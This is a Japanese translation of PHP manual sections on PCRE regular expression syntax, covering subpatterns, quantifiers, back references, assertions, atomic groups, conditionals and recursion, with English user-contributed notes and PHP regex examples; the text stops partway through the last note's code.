mati_ at zenbe dot com 07-Jul-2009 12:14
There is also the possibility to enable Modifier only on a specific group, so that the Modifier doesn't stay valid until end or deactivation with "(?-<modifier>)".

The Syntax for that is "?<modifier>:" on the beginning of the group, i.e. (?i:foo) matches on FoO.


サブパターン

サブパターンは、丸カッコで括られたパターンのことで、ネストも可能です。 パターンの一部をサブパターンにすると、以下の 2 つのことが可能になります。

  1. 選択肢の範囲の指定 (localize)。例えば、パターン cat(aract|erpillar|) は、単語 "cat", "cataract", "caterpillar" にマッチします。 カッコをつけないと、このパターンは、"cataract", "erpillar" または空の文字列にマッチしてしまいます。

  2. サブパターンによる値の取得（キャプチャ）。 パターン全体としてマッチに成功した場合、対象文字列の内、 サブパターンにマッチした部分の値がコールした側に (pcre_exec() の引数 ovector で) 返されます。 開きカッコの数が（1 から始まって）左から右に数えられ、 キャプチャ用サブパターン (capturing subpattern) の番号が指定されます。

例えば、文字列 "the red king" に対し、パターン

      the ((red|white) (king|queen))
をマッチングさせた場合、キャプチャされる部分文字列は、 "red king", "red", "king" であり、 それぞれ 1 番, 2 番, 3 番と番号がふられます。

カッコに 2 つの機能があるということが、いつも良い方に働くわけでは ありません。値をキャプチャする必要はないが、グループ分けのために サブパターンを複数用いたい場合も少なくありません。開きカッコの後に "?:" を付けると、そのサブパターンは値のキャプチャを行わず、 キャプチャ用サブパターンの番号としてもカウントされません。例えば、 文字列 "the white queen" に対し、次のパターンをマッチングさせてみましょう。

      the ((?:red|white) (king|queen))
キャプチャされる部分文字列は、"white queen" と "queen" であり、 それぞれ 1 番と 2 番に番号付けされます。キャプチャ可能な部分文字列の 数は最大で 65535 までです。 そんな大量のパターンをコンパイルするのはそもそも無理かもしれませんが、 そのあたりは libpcre の configure 時のオプションしだいです。

簡略形として、値のキャプチャをしないサブパターンの先頭で オプションの設定をする場合、オプションの文字を "?" と ":" の間に入れることができます。つまり、次の 2 つのパターン、

(?i:saturday|sunday)
(?:(?i)saturday|sunday)

は、まったく同じ文字列集合にマッチします。 選択肢は左から右に試行され、オプションはサブパターンの終端に達するまで リセットされないので、ある選択枝にあるオプション設定は後に続く 選択枝にも作用します。このため、上のパターンは、"Saturday" と同様に "SUNDAY" にもマッチします

(?P<name>pattern) という記法を用いて サブパターンに名前をつけることができます。 このサブパターンにマッチした部分は、マッチ時に返される配列内で 通常どおりの数値添字によるアクセスだけでなく名前でもアクセスできるようになります。 PHP 5.2.2 からは、二通りの別の構文 (?<name>pattern) および (?'name'pattern) も用意されています。

複数の条件にマッチさせたいときに、 ひとつの正規表現の中でサブグループを切り替えなければならないこともあります。 通常は、たとえその中のいずれかひとつにしかマッチしなかったとしても それぞれに個別の後方参照番号が振られます。 これを解決するために使えるのが (?| 構文で、 重複した番号を振ることができるようになります。 次の正規表現で文字列 Sunday をマッチングするとどうなるでしょうか。

(?:(Sat)ur|(Sun))day

Sun が後方参照 2 に格納され、 後方参照 1 は空となります。Sat にマッチした場合は後方参照 1 に入り、後方参照 2 は存在しません。 この問題を解決するには、パターンを変更して (?| を使うようにします。

(?|(Sat)ur|(Sun))day

このパターンを使えば、Sun と Sat の両方が後方参照 1 に格納されます。

User Contributed Notes

mike at eastghost dot com 25-Mar-2015 03:46
(?:(?!string).)

?: makes a subpattern

?! is a negative look-ahead.

Putting negative look-ahead before the dot causes regex engine to first find any occurrence of the negative look-ahead string, and only then, if the negative look-ahead string is not present, should an arbitrary character (due to the dot) match.


繰り返し

繰り返し (repetition) は、量指定子 (quantifier) を使って指定します。 量指定子は、以下の要素の後に付けることが出来ます。

  • 個々の文字。エスケープされた文字も含む
  • メタ文字 . （ドット）
  • 文字クラス
  • 後方参照 (次のセクションを参照)
  • カッコで括られたサブパターン（言明は除く - 別記参照）

汎用の量指定子 (general repetition quantifier) は、波カッコの中に 2 つの数をカンマで区切って記述したもので、マッチ可能な 最小と最大の繰り返し数を指定します。ただし、65536 以上の数は 指定できません。さらに、最初の数は 2 番目の数以下である必要があります。 例えば、パターン

      z{2,4}
は、"zz", "zzz", "zzzz" にマッチします。閉じ波カッコだけでは 特別な意味を持ちません。カンマを残したまま 2 番目の数だけを省略すると、 繰り返しの上限が設定されません。 2 番目の数字とカンマの両方を省略すると、 必要なマッチの数を過不足なく指定できます。つまり、
      [aeiou]{3,}
は、最短で 3 回母音が連続するものにマッチし、 もっと多く連続する場合にもマッチします。一方、
      \d{8}
は、ぴったり 8 桁の数字にのみマッチします。開き波カッコは、 量指定子を置けない場所、つまり量指定子の構文に適合しない場所に 記述された場合、文字リテラルとして解釈されます。例えば、 {,6} は量指定子ではなく、4つの文字からなる文字リテラルとなります。

{0} という量指定子の指定も可能です。 直前の項目および量指定子が存在しないという指定になります。

簡単（および歴史的な互換性）のため、よく使われる 3 つの量指定子には、 次のような 1 文字の省略型があります。

単一文字の量指定子
* | {0,} と同じ
+ | {1,} と同じ
? | {0,1} と同じ

たとえば

      (a?)*
の様に、「文字無し」にマッチし得るサブパターンの後ろに 上限指定の無い量指定子を記述すると、無限ループができてしまう可能性が あります。

以前のバージョンの Perl および PCRE は、このようなパターンに関して コンパイル時にエラーを発生していました。しかし、有用な場合もあるので、 現在はこのようなパターンも許可されています。ただし、 繰り返しが指定されたサブパターンが文字無しにマッチすると、 ループは強制的に中断されます。

デフォルトでは、量指定子は「貪欲 (greedy)」です。つまり、 残りのパターンが失敗しない限りにおいて、（許可された回数の上限まで） 出来るだけ多くマッチします。 この動作が問題を生じる場合もあります。 そのよく知られた例としては、 C プログラムのコメントに マッチさせようとする場合が挙げられます。 /* と */ との間が コメントですが、コメント中にも文字 * や / が現れる可能性があります。 そこで、C のコメントにマッチさせようとして、パターン

      /\*.*\*/
を使って、文字列
      /* first comment */  not comment  /* second comment */
に対して、マッチングを行うと、文字列全体にマッチしてしまい上手く行きません。 .* 要素が貪欲であるためです。

しかし、量指定子の後に疑問符を付けると、貪欲さは消え、 できるだけ少ない回数だけマッチします。このため、パターン

      /\*.*?\*/
は、C コメントに正しくマッチします。量指定子の他の意味は変化せず、 マッチの回数だけが変更されます。疑問符のこの使用法と、 量指定子としての使用法とを混同しないようにしてください。 このように疑問符には 2 種類の使用法があるため、
      \d??\d
のように 2 重に使うこともできます。 このパターンは、可能であれば 1 桁の数字にマッチします。 パターンの残り部分がそうでないとマッチできない場合に限り、 2 桁の数字にもマッチします。

PCRE_UNGREEDY オプション（Perl ではこのオプションは利用できません）を設定すると、 量指定子は、デフォルトで貪欲でなくなり、 各量指定子の後ろに疑問符をつけてはじめて貪欲になります。言いかえると、 疑問符のデフォルトの動作を逆転します。

量指定子の後ろに + を記述すると「独占的 (possessive)」 になります。可能なだけ多くの文字を取り込み、パターンの残りの部分のマッチの際に 取り込んだ文字を戻すことはしません。したがって、パターン .*abc は "aabc" にマッチしますが、.*+abc はマッチしません。 これは、.*+ が対象文字列のすべてを取り込んでしまうためです。 独占的量指定子を使って処理速度を向上させることができます。

カッコを使ったサブパターンに、最小の繰り返し回数（1 以上）や 最大の繰り返し回数を指定した場合、その繰り返し数の大きさに応じて、 コンパイル済みのパターンが用いる記憶領域がより多く必要となります。

パターンが .* または .{0,} で始まっており、PCRE_DOTALL オプション（Perl の /s に相当）が設定されている（つまり、 . が改行文字にもマッチする）場合、そのパターンは暗黙的に 固定パターンになります。.* もしくは .{0,} の後に続くパターンは、 対象文字列のすべての位置でマッチングが行われますが、パターン全体としては 対象文字列の始端以外でマッチングを再試行しても無駄だからです。PCRE は、 このようなパターンについては、その前に \A が記述されているものとして 扱います。こうした最適化を利用するために、 対象文字列が改行文字を含んでいなことが明らかな場合は、 .* で始まるパターンに対し PCRE_DOTALL を設定するか、 ^ を用いて明示的に固定パターンとなるよう指定すると良いでしょう。

キャプチャ用サブパターンを繰り返した場合、キャプチャされる値は、 繰り返しの最後でマッチした部分文字列です。例えば、

      (tweedle[dume]{3}\s*)+
を "tweedledum tweedledee" にマッチングさせた場合、キャプチャされる 部分文字列は、 "tweedledee" です。しかし、キャプチャ用サブパターンが ネストしている場合、キャプチャされる値は、より前の繰り返しで 得られたものとなる可能性があります。例えば
      /(a|(b))+/
を "aba" にマッチングさせると、キャプチャされた部分文字列の 2 番目のものは、 "b" になります。

User Contributed Notes

There are no user contributed notes for this page.


後方参照

文字クラス外で、バックスラッシュに続いて 1 以上の数値（複数桁可） を記述したものは、パターン中のより前方（すなわち左）にある キャプチャ用サブパターンに対する後方参照 (back reference) です。ただし、 その左方に、その数値以上の個数のキャプチャ用サブパターンの開きカッコが ある必要があります。

なお、バックスラッシュの後に 10 未満の 10 進数が続く場合は 常に後方参照として解釈され、パターン全体で指定した個数以上の キャプチャ用サブパターンが無いとエラーが発生します。言いかえると、 参照されるカッコは、10未満の番号に対しては、参照する側の左にある必要がないということです。 "前方にある後方参照 (forward back reference)" が意味をなすのは、 繰り返しが含まれていて、右側へのサブパターンがその前の反復に含まれている場合です。 バックスラッシュの後に数字が続く場合の処理の詳細については、 前述の「バックスラッシュ」のセクションを参照してください。

後方参照は、カレントの対象文字列においてキャプチャ用サブパターンが 実際にマッチした文字列にマッチします。サブパターンがパターンとして マッチし得るものではありません。すなわち、パターン

      (sens|respons)e and \1ibility
は、"sense and sensibility" および "response and responsibility" にマッチしますが、 "sense and responsibility" にはマッチしません。また、 後方参照が記述されている位置で大小文字を区別するマッチングが有効ならば、 文字の大小文字の別も関係します。例えば、
      ((?i)rah)\s+\1
は、"rah rah" および "RAH RAH" にマッチしますが、 元のキャプチャ用サブパターンは大小文字を区別しないマッチングを 行っているにもかかわらず、"RAH rah" にはマッチしません

同じサブパターンに対して、複数回の後方参照を行うことができます。 また、使われなかったサブパターンに対する後方参照を行おうとすると、 マッチが失敗します。例えば、パターン

      (a|(bc))\2
は、はじめに "bc" でなく "a" にマッチした場合は、マッチが失敗します。 最大 99 番までの後方参照を使用できるため、バックスラッシュの後に 数字が続くものはすべて後方参照番号の可能性があるものとして解釈されます。 後に数字が続く場合、後方参照を終了するためになんらかの区切り文字を 置く必要があります。PCRE_EXTENDED オプションを設定している場合は空白文字を区切り文字として使えます。 その他の場合は空のコメントを使います。

後方参照を、それ自身が参照するサブパターンのカッコ内に記述した場合、 そのサブパターンが最初に使われた際にマッチが失敗します。ですので、 (a\1) は、何にもマッチしません。しかし、このような参照は、 複数回繰り返されるサブパターンの内部では有用です。例えば、パターン

      (a|b\1)+
は、"a" が連続するものや "aba", "ababba" 等にマッチします。 サブパターンが繰り返される場合、後方参照は、直前の繰り返しで一致した 文字列にマッチします。こうしたパターンを動作させるためには、 繰り返しの1 回目に、後方参照を含むパターンとのマッチングが 行われないことが必要です。これには、上の例のように選択肢を使うか、 下限が 0 回の量指定子を使います。

PHP 5.2.2 以降、エスケープシーケンス \g を使ってサブパターンの絶対参照および相対参照ができるようになりました。 このエスケープシーケンスの後には符号なしの数値あるいは負の数値を続けなければなりません。 数値は波括弧で囲むこともできます。\1 と \g1 および \g{1} は、 すべて同じ意味になります。符号なし数値でこの方式を使えば、 バックスラッシュの後に数値を続ける方式がもつあいまいさを排除できます。 この方式を使えば後方参照と八進数値を明確に区別することができ、 さらに、後方参照のあとに数値リテラルが続く \g{2}1 のようなパターンも書きやすくなります。

\g シーケンスで負の数値を使うと、 それは相対参照を表します。たとえば (foo)(bar)\g{-1} は "foobarbar" にマッチし、(foo)(bar)\g{-2} は "foobarfoo" にマッチします。 これは、長いパターンの中で特定のサブパターンを参照する場合に便利です。 それが何番目のサブパターンになるかをいちいち覚えておくかわりに、 相対指定することができるからです。

名前を指定したサブパターンへの後方参照を行うには (?P=name) とします。PHP 5.2.2 以降では、これ以外に \k<name> や \k'name' などとすることも可能です。PHP 5.2.4 以降では、さらに \k{name} や \g{name} も使えるようになりました。また PHP 5.2.7 以降では、さらに \g<name> や \g'name' も使えるようになりました。

User Contributed Notes

mnvx at yandex dot ru 07-Jul-2016 09:35
Something similar opportunity is DEFINE.

Example:
    (?(DEFINE)(?<myname>\bvery\b))(?&myname)\p{Pd}(?&myname).

Expression above will match "very-very" from next sentence:
    Define is very-very handy sometimes.
              ^-------^

How it works. (?(DEFINE)(?<myname>\bvery\b)) - this block defines "myname" equal to "\bvery\b". So, this block "(?&myname)\p{Pd}(?&myname)" equvivalent to "\bvery\b\p{Pd}\bvery\b".


言明

言明 (assertion) とは、カレントのマッチング位置の直前・直後の文字に対する テストであり、文字を消費 (consume)〔つまり文字自体にマッチ〕しません。 単純な言明コード \b, \B, \A, \Z, \z, ^ および $ については、 エスケープシーケンス で説明しました。より複雑な言明は、サブパターンを用いて記述します 〔言明サブパターン (assertion subpattern) と呼ばれる〕。 言明サブパターンには、2 種類あります。対象文字列において カレントの位置の先を読むものと、後ろを読むものです。

言明サブパターンは、カレントのマッチング位置を変更しないことを除き、 通常と同じようにマッチングが行われます。先読み言明 (lookahead assertion) は、 肯定の言明 (positive assertion) の場合 (?= で始まり、 否定の言明 (negative assertion) の場合 (?! で始まります。例えば、

      \w+(?=;)
は、セミコロンが後に続く単語にマッチしますが、 マッチ対象それ自体にはセミコロンは含まれません。また、
      foo(?!bar)
は、"bar" が後ろに続かない "foo" にマッチします。 なお、一見、良く似たパターンですが
      (?!foo)bar
は、"foo" 以外のものの後にある "bar" を見つけるものではないことに 注意してください。これは、どこにある "bar" とでもマッチしてしまいます。 続く 3 文字が "bar" である場合、 (?!foo) は常に真となってしまうからです。 このような探索を実現するためには、戻り読み言明 (lookbehind assertion) が必要です。

戻り読み言明は、肯定の言明の場合 (?<= で始まり、 否定の言明の場合 (?<! で始まります。例えば、

      (?<!foo)bar
は、"foo" 以外の後にある "bar" の存在を見つけるものです。 戻り読み言明内のパターンは、それがマッチし得る文字列の長さが 固定でなければなりません〔繰り返しを指定できません〕。ただし、 選択肢を用いた場合、各選択肢は〔固定長でなければいけませんが〕 すべて同じ長さである必要はありません。つまり、
      (?<=bullock|donkey)
とはできますが、
      (?<!dogs?|cats?)
は、コンパイル時にエラーになります。 戻り読み言明の最上位においてのみ、異なる長さの文字列にマッチするような 選択肢が使用可能です。Perl 5.005 においては、すべての選択肢が 同じ長さの文字列にマッチする必要があります。つまり、この機能は PCRE の拡張機能です。
      (?<=ab(c|de))
という戻り読み言明は、最上位にひとつの選択肢しかなく、 その選択肢は異なる長さの文字列にマッチしうるので、不正です。 しかし、
      (?<=abc|abde)
のように、最上位において選択肢を 2 つ用いるように 書き換えると使用可能です。

後方言明の実装においては、選択肢ことに一時的に固定の幅だけ カレントの位置を後退させ、マッチを試みます。カレントの位置の前に 十分な文字がない場合は、マッチは失敗とみなされます。 再試行無しのサブパターンと組み合わせた戻り読み言明は、 文字列の終端でのマッチングに特に有用です。 再試行無しのサブパターンについてのセクションの最後にて例を示します。

（任意の種類の）複数の言明を連続して指定することも可能です。例えば、

      (?<=\d{3})(?<!999)foo
は、"999" でない 3 桁の数字の後にある "foo" にマッチします。 それぞれの言明は、対象文字列の同じ場所に独立して適用されることに 注意して下さい。まず、前の 3 文字がすべて数字であることがチェックされ、 続いて、同じ 3 文字が "999" でないことが確認されます。このパターンは、 "foo" の前に 6 個の文字があり、その前半が数字で後半の 3 文字が "999" でないというパターンにマッチするものではありません。例えば、"123abcfoo" にはマッチしません。これを行うパターンは次のようになります。
      (?<=\d{3}...)(?<!999)foo

この時、最初の言明は、先行する 6 つの文字を探し、 最初の 3 文字が数字であることを確認します。続いて、2 番目の言明は、 先行する 3 文字が "999" でないことを確認します。

言明は、自由に組み合わせてネスト可能です。例えば、

      (?<=(?<!foo)bar)baz
は、"foo" 以外の後にある "bar" の後に有る "bar" があればマッチします。 一方、
      (?<=\d{3}...(?<!999))foo
は、999 でない 3 桁の数字とさらに 3 文字の後に続く "foo" にマッチするパターンです。

言明サブパターンは、キャプチャ用サブパターンではありません 〔値のキャプチャは行われません〕。繰り返しもできません。 同じことを複数回言明しても意味がないからです。 キャプチャ用サブパターンが言明の内部に含まれている場合、 言明の種類に関係なく、キャプチャ用サブパターンの番号付けにあたって カウントされます。しかし、文字列のキャプチャは、肯定の言明に対してのみ 行われます。否定の言明の中で行っても無意味だからです。

カッコ付サブパターンによる言明は、最大 200 まで用いることができます。

User Contributed Notes

There are no user contributed notes for this page.


再試行無しのサブパターン

繰り返し回数の下限もしくは上限の指定をした場合、 〔繰り返しを指定した要素の〕続きがマッチに失敗すると、 繰り返し指定した要素が再評価され、繰り返し回数を変えた上で 残りのパターンがマッチするかどうか試されます。 マッチングを続けても無駄なことが明らかな場合、マッチングの性質を変え、 より速くマッチに失敗させるために、こうした動作を停止させることが 有用な場合があります。

例えば、パターン \d+foo を "123456bar" という対象文字列に適用した場合を考えてみましょう。

\d+ が 6 桁の数字すべてにマッチしますが、その後 "foo" とのマッチが失敗します。通常のマッチング処理の動作だと、5桁の数字のみが \d+ にマッチするとして再試行され、次いで 4 桁等々と続けられ、 最後には完全にマッチが失敗します。再試行無しのサブパターン (once-only subpattern) を用いると、パターンの一部が一度マッチしたら、 その後再評価されないよう指定することができます。つまり、最初に "foo" とのマッチに失敗した時点で、ただちにマッチングを取り止めることが 可能となります。表記には、

      (?>\d+)bar
のように、(?> で始まる特別なカッコを用います。

この種類のカッコは、一度マッチしたパターンの部分に鍵をかけ (lock up) ます。そのパターンへの再マッチは失敗し、バックトラック (backtrack) が起こらないようにします。それより前の要素に対するバックトラックは、 通常と同様に動作します。

別の説明をすると、このタイプのサブパターンは、同一のスタンドアローンの パターンが対象文字列のカレントの位置に固定されたかのように、 文字列とマッチします。

再試行無しのサブパターンは、キャプチャ用サブパターンではありません 〔つまり、値のキャプチャは行われません〕。上の簡単な例では、 できるだけ多くのものを呑み込むよう繰り返しが最大化されました。つまり、 + や +? は残りのパターンがマッチするよう数字の桁数が調整されるのに 対して、 (?>+) は数字の並び全体に対するマッチングだけしか行われません。

この構文には、どんな複雑なものでも、任意のサブパターンを含むことができ、 ネストも可能です。

再試行無しのサブパターンと戻り読み言明とを組み合わせると、 対象文字列の終端における効率的なマッチングを行うことができます。

      abcd$
というパターンを見てましょう。 マッチが成功しない長い文字列に適用した場合を考えます。 マッチングは左から右に行われるため、PCRE は対象文字列のすべての "a" を探し、 後に続く文字が残りのパターンにマッチするかどうか調べられます。 パターンを
      ^.*abcd$
のように少し変更してみます。 この場合、最初の .* は、まず文字列全体にマッチします。 （"a" がその後に続かないので）マッチが失敗すると、最後の 1 文字を除く 文字列にマッチするようバックトラックが行なわれ、続いて最後の 2 文字を 除く文字列に、という風に動作します。 "a" の検索は、やはり文字列全体に 対して、右から左に、行われるため効率は良くありません。 しかし、パターンを
      ^(?>.*)(?<=abcd)
のようにしてみましょう。 要素 .* に対してバックトラックは行われず、文字列全体にのみマッチします。 続く戻り読み言明は、最後の 4 文字に対するテストを 1 回だけ行います。 テストが失敗すると、マッチはただちに失敗します。長い文字列に対しては、 この方法を用いると実行時間にかなりの差が生じます。

パターン中にサブパターンがあって、その中に繰り返し数に 上限の無い要素があり、そのサブパターン自身も何回でも繰り返しが 可能な場合、マッチの失敗に非常に長い時間がかかってしまう事があります。 それを避ける唯一の方法は再試行無しのサブパターンを使うことです。 パターン

      (\D+|<\d+>)*[!?]
は、非数字もしくは <> で括られた数字に ! または ? が続く 任意の長さの部分文字列にマッチします。マッチが成功するような 対象文字列に対しては、速く動作します。 しかし、これを
      aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
に適用すると、マッチが失敗するまでに長い時間がかかります。これは、 この対象文字列を分割するやり方が数多くあり、それらすべてに対し マッチを試みられる事になるためです。 （この例で、終端に単一の文字ではなく [!?] を使っているのは、 PCRE と Perl の双方とも、〔終端に〕単一の文字が使われると、 より速く失敗と判定できるように最適化が行われる 〔ので、それを避ける〕ためです。マッチに必要な最後の一文字が記憶され、 文字列にその文字が無い場合、早期に失敗と判定されます。） このパターンを
      ((?>\D+)|<\d+>)*[!?]
のように変更した場合、非数字の部分が分割されることがなくなるので、 より速くマッチが失敗するようになります。

User Contributed Notes

There are no user contributed notes for this page.


条件付きサブパターン

サブパターンを条件付きでマッチング処理させることが可能です。 言明の結果や直前のキャプチャ用サブパターンがマッチしたかどうかにより、 サブパターン中の 2 つの選択肢を選択させます。条件付きサブパターン (conditional subpattern) には、 2 つの形式があります。

(?(条件)真パターン)
(?(条件)真パターン|偽パターン)

条件が満たされた場合、真パターンが使われます。そうでない場合は、 （もしあれば）偽パターンが使われます。サブパターン内に 3 つ以上の 選択肢があると、コンパイル時にエラーになります。

条件には 2 種類あります。条件のカッコ内が数値の場合、 その番号のキャプチャ用サブパターンがマッチしている場合に条件が 真となります。カッコ内の数値は 1 以上でないといけません。 次のパターンを見てみましょう。可読性を高めるために意味のない空白文字が 挿入され（PCRE_EXTENDED オプションが指定されていると仮定します）、 説明を簡単にするため 3 つの部分に分割されています。

( \( )?    [^()]+    (?(1) \) )

最初の部分は、オプションで、開きカッコにマッチします。 開きカッコが有る場合、1 番のキャプチャ文字列にセットされます。 第 2 の部分は、カッコでない一つ以上の文字にマッチします。第 3 の部分は、 最初のカッコがマッチしたかどうかをテストする条件付きサブパターンです。 カッコにマッチしている場合、つまり、対象文字列が開きカッコで 始まっている場合、条件は真となり、真パターンが実行され、閉じカッコが 必要となります。そうでない場合、偽パターンが存在しないため、 サブパターンは何にもマッチしません。言いかえると、このパターンは、 カッコなしの並びにマッチするものですが、オプションで カッコで囲まれた並びにもマッチします。

(R) という文字列を条件として指定すると、パターン全体もしくは サブパターンへの再帰的呼び出しがなされた場合に、その条件が満たされることになります。 「トップレベル」においては、この条件は偽となります。

数値の他にも、条件として言明が使用できます。先読み言明と 戻り読み言明のいずれも使え、肯定の言明も否定の言明も使用できます。 次のパターンを見てみましょう。このパターンにも意味のない空白文字が 挿入されており、2 行目に 2 つの選択肢が 書かれています。

(?(?=[^a-z]*[a-z])
\d{2}-[a-z]{3}-\d{2}  |  \d{2}-\d{2}-\d{2} )

条件は、肯定の先読み言明であり、英字以外の文字の並びの後に英字が 続くものにマッチします。言いかえると、対象文字列に少なくとも英字が 一つあるかどうかが調べられます。英字がみつかると、最初の選択肢に対して 検索対象とのマッチングが行われます。みつからない場合は、2番目の選択肢に 対してマッチングが行われます。このパターンは、2つの形式 dd-aaa-dd または dd-dd-dd のどちらかの文字列にマッチします。ここで、aaa は英字、 dd は数字です。

User Contributed Notes

Anonymous 06-Feb-2011 09:26
Repetition of a subpattern will repeat conditionals that are contained inside it, updating subpattern matches with iteration.

Consider the following code, which scans thru HTML, keeping track of angle brackets "<" ">".  If open bracket "<" matches, then closing bracket ">" must follow before repetition can possibly end.  That way regex will effectively match only outside of tags.

<?php
$pattern='%(*ANY)(.*?(<)(?(2).*?>)(.*?))*?\'\'%s';
$replace='\1Fred';
$subject=
'<html><body class=\'\'>\'\' went to '\'\meyer and ran
into <b>\'\'</b>.
</body></html>'
echo preg_replace("%(*ANY)(.*?((<)(?(3).*?>).*?)*?)\'\'%s",'\1Fred',$subject);
?>

Output will be:
'<html><body class=\'\'>Fred went to Fredmeyer and ran
into <b>Fred</b>.
</body></html>'


コメント

コメントは、(?# という並びにより始まり、次の閉じカッコで終わります。 カッコのネストはできません。コメント内の文字は、パターンマッチには 全く関係しません。

PCRE_EXTENDED オプションが設定されている場合は、パターン中の文字クラス外にある エスケープされていない # 文字からもコメントが始まり、 次の改行文字で終わります。

User Contributed Notes

asamaru at asamaru dot net 24-Jan-2017 12:00
<?php
$string = 'test';
echo preg_match('/te(?# comments)st/', $string) . "\n";
echo preg_match('/te#~~~~
st/', $string) . "\n";
echo preg_match('/te#~~~~
st/x', $string) . "\n";

// result
// 1
// 0
// 1


再帰的パターン

どうすればカッコに括られた文字列とマッチできるか、という問題を 考えて見ましょう。このとき、カッコは何回でもネストできるとします。 再帰が使えないとすると、パターンを用いて、せいぜい、ある一定の深さの ネストまでしかマッチできないでしょう。任意の深さのネストを 処理することは不可能です。Perl 5.6 では、正規表現において再帰を行う 実験的な機能が導入されています。 PCRE では、再帰という特殊なケースに対して専用のシーケンス (?R) が導入されました。上記のカッコ問題を解決する PCRE のコードは 以下のようになります（PCRE_EXTENDED オプションが設定され空白文字が無視されると仮定）。

      \( ( (?>[^()]+) | (?R) )* \)

まず、このパターンは開きカッコにマッチします。続いて、 カッコ以外の文字が並んでいるか、または、再帰的にパターン自体に マッチする（すなわち正しくカッコで括られている）かする部分文字列に 何回でもマッチします。最後に閉じカッコにマッチします。

このパターン例には、ネストした無制限の繰り返しが含まれているため、 マッチが成功し得ない文字列に対してこのパターンが適用される場合も考えて、 カッコ以外の文字列にマッチングさせる部分に再試行無しのサブパターンを 使うことが重要です。例えば、このパターンを

      (aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa()
という文字列に適用すると、「マッチしない」という判定が速やかに 行われます。しかし、再試行無しのサブパターンを使わないと、 対象文字列を分割し得る + と * の繰り返し数の種類が非常に多く、 そのすべてが確認された後にマッチの失敗が報告されるため、 マッチングに非常に時間がかかります。

キャプチャ用サブパターンにセットされる値は、そのサブパターンに 値がセットされ得る最も外側で最も後の再帰レベルからのものになります。 上記のパターンを

      (ab(cd)ef)
にマッチングさせると、キャプチャされる値は "ef" であり、 最上位レベルの最後の値です
      \( ( ( (?>[^()]+) | (?R) )* ) \)
次のようにカッコを追加すると、キャプチャされる文字列は、"ab(cd)ef" となり、最上位レベルのカッコの中身となります。一つのパターン中に 15 以上のキャプチャ用サブパターンを用いると、PCRE は 再帰を行っている間のデータ保存用に追加の記憶領域を確保する必要が あります。記憶領域が確保できない場合、メモリ不足エラーを再帰の内側から 出力する手段がないため、最初の 15 個のキャプチャ用サブパターンに ついてのみデータが保存されます。

(?1), (?2) といった記法が 再帰的サブパターンとして使用可能です。 (?P>name) あるいは (?&name) といった名前付きのサブパターンも使用可能です。

この再帰的サブパターンの記法は（数字によるものも名前によるものの双方とも） 参照するカッコの外で使用でき、プログラム言語のサブルーチンの様に処理されます。 前に示した例で、パターン (sens|respons)e and \1ibility は "sense and sensibility" および "response and responsibility" にはマッチしますが "sense and responsibility" にはマッチしませんでした。 一方、パターン (sens|respons)e and (?1)ibility は、 上記 2 つに加え "sense and responsibility" にもマッチします。 ただし、参照先のサブパターンの後に記述する必要があります。

対象文字列の最大の長さは、integer 型の最大の値となります。 しかし、PCRE は再帰を使用してサブパターンの処理や繰り返し処理を行います。 つまり、そのパターンで処理する対象文字列の長さによって、 使用可能なスタック空間の大きさが制限されるということです。

User Contributed Notes

mzvarik at gmail dot com 18-Nov-2020 10:53
This regexp can be used for parsing IF conditions.

$str = '
(IF_MYVAR)My var is printed
(OR_MYVARTWO)My var two is printed
(OR_ANOTHER)if you use OR you don't have to END everytime
(ELSE)Whatever bro(END)

(IF_BLUE)Something (IF_SUPERB)super(END) blue - this is simple IF condition(END)
';

function isCondition($k) {
    // put your user conditions here
    $conds = [];
    $conds['BLUE'] = true;
    $conds['MYVARTWO'] = true;
    $conds['ELSE'] = true; // always true
     return $conds[$k];
}

function findConditions($str) {

    $pattern = '~ \(if_([^\)]+)\) ((?: (?!\((end|if_)). | (?R) )*+) \(end\) ~xis';

    $str = preg_replace_callback($pattern, function($m) {

        $k = $m[1];
        $v = $m[2];
        $v = findConditions($v) ?: $v;

        $ors = preg_split('~(?=\((OR_[^\)]+|ELSE))~is', $v);

        $v = array_shift($ors); // hlavni

        if (isCondition($k)) return findConditions($v);
        else {
            foreach ($ors as $or) {
                list($k, $v) = explode(")", $or, 2);
                $k = substr($k, 1);
                if (isCondition($k)) return findConditions($v);
            }
        }
        return ''; // no matching condition
    }, $str);
    return $str;
};

// will output:  Whatever bro  \n\n  Something blue
echo findConditions($str);
Anonymous 04-Aug-2016 09:11
sass parse sample

<?php

$data = 'a { b { 1 } c { d { 2 } } }';

preg_match('/a (?<R>\{(?:[^{}]+|(?&R))*\})/', $data, $m);
preg_match('/b (?<R>\{(?:[^{}]+|(?&R))*\})/', $data, $m);
preg_match('/c (?<R>\{(?:[^{}]+|(?&R))*\})/', $data, $m);
preg_match('/d (?<R>\{(?:[^{}]+|(?&R))*\})/', $data, $m);

/*
Array (
    [0] => a { b { 1 } c { d { 2 } } }
    [R] => { b { 1 } c { d { 2 } } }
    [1] => { b { 1 } c { d { 2 } } }
)
Array (
    [0] => b { 1 }
    [R] => { 1 }
    [1] => { 1 }
)
Array (
    [0] => c { d { 2 } }
    [R] => { d { 2 } }
    [1] => { d { 2 } }
)
Array (
    [0] => d { 2 }
    [R] => { 2 }
    [1] => { 2 }
)
*/
horvath at webarticum dot hu 15-Apr-2013 12:09
Below are some reusable patterns. I used comments with the 'x' modifier for human-readability.

You can write also a function, that generates patterns for specified bracket/quote pairs.

<?php

/* normal paretheses */
$simple_pattern = "(    (?#root pattern)
  (                     (?#text or expression)
    (?>[^\\(\\)]+)      (?#text)
    |
    \\((?-2)\\)         (?#expression and recursion)
  )*
)";

$simple_okay_text = "5( 2a + (b - c) ) - a * ( 2b - (c * 3(b - (c + a) ) ) )";
$simple_bad_text = "5( 2)a + (b - c) ) - )a * ( ((2b - (c * 3(b - (c + a) ) ) )";

echo "Simple pattern results:\n";
var_dump(preg_match("/^$simple_pattern\$/x",$simple_okay_text));
var_dump(preg_match("/^$simple_pattern\$/x",$simple_bad_text));
echo "\n----------\n";

/* some brackets */
$full_pattern = "(                  (?#root pattern)
  (                                 (?#text or expression)
    (?>[^\\(\\)\\{\\}\\[\\]<>]+)    (?#text not contains brackets)
    |
    (
      [\\(\\{\\[<]                  (?#start bracket)
        (?(?<=\\()(?-3)\\)|           (?#if normal)
        (?(?<=\\{)(?-3)\\}|           (?#if coursed)
        (?(?<=\\[)(?-3)\\]|           (?#if squared)
        (?1)\\>                       (?#else so if tag)
